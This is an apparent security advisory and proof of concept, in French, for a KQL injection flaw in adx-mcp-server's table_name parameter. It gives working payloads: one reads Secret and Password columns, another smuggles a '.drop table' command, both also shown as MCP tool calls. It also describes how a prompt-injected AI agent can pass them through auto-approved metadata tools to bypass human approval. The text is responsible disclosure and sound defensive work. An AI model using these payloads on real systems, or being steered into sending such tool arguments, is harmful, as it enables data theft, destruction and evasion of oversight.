
Preuve de concept d'exploit pour l'injection KQL dans adx-mcp-server via le paramètre table_name, permettant l'exfiltration de données et des commandes destructrices dans Azure Data Explorer.
Gravité : Élevée (CVSS 8.3)
CWE : CWE-943 — Neutralisation incorrecte des éléments spéciaux dans la logique de requête de données
Affecté : adx-mcp-server <= 1.1.0
Avis : GHSA-vphc-468g-8rfp
NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-33980
Crédit : Romain Deperne
Trois outils MCP dans adx-mcp-server interpolent le paramètre table_name directement dans des requêtes KQL (Kusto Query Language) via des f-strings. Un attaquant ou un agent IA victime d'injection de prompt peut lire n'importe quelle table du cluster Azure Data Explorer, exécuter des commandes de gestion (.drop table) ou lancer des requêtes analytiques arbitraires — contournant ainsi la frontière de confiance entre les outils de métadonnées « sûrs » et l'outil brut execute_query.
Je parcourais la liste awesome-mcp-servers à la recherche spécifiquement de serveurs MCP qui encapsulent des plateformes de données cloud — ceux-ci présentent un risque élevé car ils sont conçus pour donner aux agents IA un accès direct aux bases de données, et les paramètres des outils MCP sont entièrement contrôlables par l'attaquant (tout LLM traitant des données non fiables peut être victime d'une injection de prompt l'amenant à transmettre des arguments d'outil malveillants).
L'examen de la manière dont les paramètres des outils MCP atteignaient les requêtes Azure Data Explorer a révélé trois interpolations directes dans server.py : f"{table_name} | getschema", f"{table_name} | sample {sample_size}" et f".show table {table_name} details".
La partie intéressante est le contournement de la frontière de confiance : le serveur expose à la fois un outil brut execute_query (pour lequel les clients MCP peuvent exiger une approbation humaine) et ces outils « sûrs » d'inspection des métadonnées (qui sont approuvés automatiquement). L'injection via les outils de métadonnées permet de contourner toute politique d'approbation appliquée par le client. C'est ce qui a fait passer ce problème de « bug d'injection » à une véritable violation de frontière de sécurité.
La syntaxe de commentaire KQL (//) permet à une charge utile de supprimer le reste de la requête d'origine.
Fichier : src/adx_mcp_server/server.py
# Line 228 — get_table_schema
query = f"{table_name} | getschema"
# Line 248 — sample_table_data
query = f"{table_name} | sample {sample_size}"
# Line 268 — get_table_details
query = f".show table {table_name} details"
Les trois passent table_name depuis les arguments de l'outil MCP directement dans client.execute(config.database, query) sans aucune validation.
KQL permet d'enchaîner des opérateurs de requête avec | et d'exécuter des commandes de gestion préfixées par .. Le caractère // démarre un commentaire de ligne. L'interpolation directe en f-string permet donc l'injection de requête :
f"{table_name} | getschema" → ajouter | project Secret // pour commenter | getschemaf".show table {table_name} details" → injecter \n.drop table pour enchaîner une commande de gestionPourquoi cela importe au-delà d'un simple outil execute_query : les clients MCP distinguent souvent les outils en lecture seule « sûrs » (approuvés automatiquement) des outils d'exécution brute (nécessitant confirmation). L'injection cible les outils de métadonnées « sûrs », contournant ainsi la frontière d'approbation.
Voir poc.py pour une démonstration complète. Charges utiles principales :
# Data exfiltration via get_table_schema
# f"{table_name} | getschema" becomes:
# "sensitive_data | project Secret, Password | take 100 // | getschema"
# → // comments out "| getschema"; query reads sensitive_data columns
table_name = "sensitive_data | project Secret, Password | take 100 //"
# Destructive management command via get_table_details
# f".show table {table_name} details" becomes:
# ".show table users details\n.drop table critical_data details"
table_name = "users details\n.drop table critical_data"
Appels d'outils MCP :
{"name": "get_table_schema", "arguments": {"table_name": "sensitive_data | project Secret, Password | take 100 //"}}
{"name": "get_table_details", "arguments": {"table_name": "users details\n.drop table critical_data"}}
.drop table, .drop extentstable_name malveillantes, transformant une injection de prompt en accès complet aux données